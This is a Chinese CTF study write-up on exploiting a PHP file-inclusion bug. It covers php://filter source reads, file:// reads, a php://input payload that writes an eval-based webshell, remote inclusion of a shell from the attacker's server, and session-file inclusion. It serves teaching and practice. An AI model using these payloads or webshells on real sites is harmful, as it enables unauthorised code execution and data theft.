不知出自哪次CTF
前言:
本萌新最近在学习代码审计,
有一天在水群聊到代码审计如何学习,
然后某dalao丢给我一道题,说你对这题有什么看法,
本萌新一看,这不是很简单吗,想也没多想就直接上去?file=flag.php
,
然后被dalao指教了一番,于是就有了这篇文章。
目录:
NO.1 传统方法
首先来看下代码
<?php
error_reporting(0);
if(@isset($_GET["file"])){
include($_GET["file"]);
}else{
highlight_file(__FILE__);
phpinfo();
}
?>
看完代码后再来学习学习函数吧,毕竟菜啊!!!
isset()
函数检测变量是否设置,是返回true,否则返回false
语法:bool isset( mixed var [, mixed var [, …]] )
error_reporting()
函数能够在运行时设置 error_reporting 指令。0
为关闭错误报告
语法:error_reporting(level)
include
函数包含并运行指定文件。
这个应该大家都很熟悉了。
highlight_file()
函数对文件进行语法高亮显示。
语法:highlight_file(filename,return)
参数:
- filename 必需。要进行高亮处理的 PHP 文件的路径。
- return 可选。如果设置 true,则本函数返回高亮处理的代码。
这题由于没有任何过滤,利用起来并不困难,
直接访问的时候会出现phpinfo
,可能是为了方便让你知道网站路径吧,
知道路径后,当然一般直接使用?file=xxx
就可以直接利用了。
NO.2 php伪协议
对于php伪协议,网上也有很多的文章,
但是对于萌新来说,自己再总结学习一下自然不是什么坏事,
谈到伪协议就不得不先说allow_url_fopen
和allow_url_include
这两个函数。
allow_url_fopen函数
:默认值是ON,允许url里的封装协议访问文件
allow_url_include函数
:默认值是OFF,不允许包含url里的封装协议包含文件
接下来看看CTF中几个常用的伪协议。
1. php://filter
php://filter协议在CTF中经常出现,通常配合base64来读取源码,
参数:
名称:
- resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。要过滤的数据流>
- read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。读链的筛选列表>
- write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。写链的筛选列表>
- <; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
这道题中利用方法也很简单,
http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt
也很好理解,意思就是读取flag.txt
的内容,进行base64编码后输出
注意:像这样的话是读取相同路径下的文件,就是include.php
和flag.txt
同路径
接下来看看跟php://filter
很像的一个协议
file://协议(不是伪协议)
说明: file://
— 访问本地文件系统
file://
协议会受到 allow_url_fopen
的影响,
但是在CTF中通常用来读取本地文件而不会受到allow_url_fopen
的影响
用法: file:// [文件的绝对路径和文件名]
然后在这道题中就可以这样去构造,
http://localhost/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\flag.txt
在Windows下正反斜杆都可以使用,
Linux下必须使用正斜杆(/
)
当然还可以配合php://filter
协议使用,
http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=file://D:\phpStudy\PHPTutorial\WWW\flag.txt
2. php://input协议
说明:简单来说就是能够将post请求中的数据作为PHP代码执行
需要将allow_url_include
开启
注:当enctype='multipart/form-data'
的时候 php://input
是无效的
测试:
也可以post生成一句话
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST['cmd']);?>');?>
先来认识下函数,
fputs()函数将内容写入一个打开的文件中。
语法:fputs(file,string,length)
参数:
- file 必需。规定要写入的打开文件。
- string 必需。规定要写入打开文件的字符串。
- length 可选。规定要写入的最大字节数。
fopen()函数打开文件或者 URL。
语法:fopen(filename,mode,include_path,context)
参数:
- filename 必需。规定要打开的文件或 URL。
- mode 必需。规定要求到该文件/流的访问类型。可能的值见下表。
- include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
- context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
mode 参数的可能的值:
- “r” 只读方式打开,将文件指针指向文件头。
- “r+” 读写方式打开,将文件指针指向文件头。
- “w” 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
- “w+” 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
- “a” 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
- “a+” 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
- “x” 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。
- “x+” 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,返回 FALSE,如果文件不存在则尝试创建之。
这句话的意思很明显了,以写入的方式将一句话写入到shell.php这个文件中,
然后就可以直接上菜刀了
对于文件包含这个东西来说,文件后缀可以是任意的,
只要文件内容符合PHP语法规范,那么任何扩展名都可以被当作PHP来解析,
这里我们将shell.php
改成shell.jpg
的后缀,
菜刀路径的话也要换成包含的格式
http://localhost/include.php?file=shell.jpg
依旧是可以访问的,
好了,伪协议就说怎么多了。
NO.3 远程包含
既然是文件包含的题目,当然就离不开远程文件包含了,
远程包含需要目标服务器将allow_url_fopen
和allow_url_include
开启才可以。
现在将一匹马放到自己服务器上,然后远程包含这匹马,
注意,这里有个坑
这匹马的文件名不能是可以解析的文件后缀,比如php后缀可以解析,那么这匹马的后缀就不能是php
http://localhost/include.php?file=http://127.0.0.1/shell.jpg
但是如果我就想要包含php后缀的文件呢,当然也是可以的,
不过这里需要将一句话echo
出来才行,这样才可以包含php后缀的文件
<?php
echo '<?php eval($_POST["cmd"]);?>';
?>
然后就可以利用了
思考:为什么远程包含需要将一句话echo出来
原因是远程服务器已经将文件解析了,远程包含只包含前端显示的代码,跟后缀没什么关系,
所有这里为什么要echo一句话就是这个道理。
相反,本地包含就不需要在前端显示,只要是符合php规范的代码就可以,
本地包含一般使用jpg,log这样的后缀的一句话去绕waf。
远程包含还可以配合伪协议去利用,
将一句话进行base64加密,
注意:这里要是加密echo的一句话是不行的
然后伪协议中base64就要换成解密的了decode
使用方法:
http://localhost/include.php?file=php://filter/read=convert.base64-decode/resource=http://127.0.0.1/shell.php
然后一样可以使用菜刀去连接
NO.4 session文件包含
这题我们稍微改动一下,增加一个session
<?php
session_start();
error_reporting(0);
if(@isset($_GET["file"])){
$_SESSION["username"]=$_GET["file"];
include($_GET["file"]);
}else{
highlight_file(__FILE__);
phpinfo();
}
?>
这里的话就是开启session,然后将传入的参数写入到session文件中。
这里我们传入一个名为flag的参数,
在浏览器中可以看到 phpsessid 在发送的请求的 cookie值,
然后我们可以通过phpinfo知道session存放的路径,
然后去文件夹中发现确实存在这个临时文件,
然后进行读取,session
临时文件格式为sess_xxx
发现是我们刚刚传入的flag字段
http://localhost/include.php?file=../tmp/tmp/sess_onkqtedht4iucf6bnnjpgqu0g7
如果当我们传入的值为 <?php phpinfo();?>
会出现什么情况
好了。就说这么多了…
总结
首先真的挺感谢朋友们对我的支持,
学习过程中问了非常多的问题,
本文章难免会出现一些语句错误,如有发现还请多多指教,
最后呢,当然希望能够做一条会翻身的咸鱼了!!!
参考文献
https://www.freebuf.com/column/148886.html
http://www.cnblogs.com/Oran9e/p/8082962.html
http://www.php.net/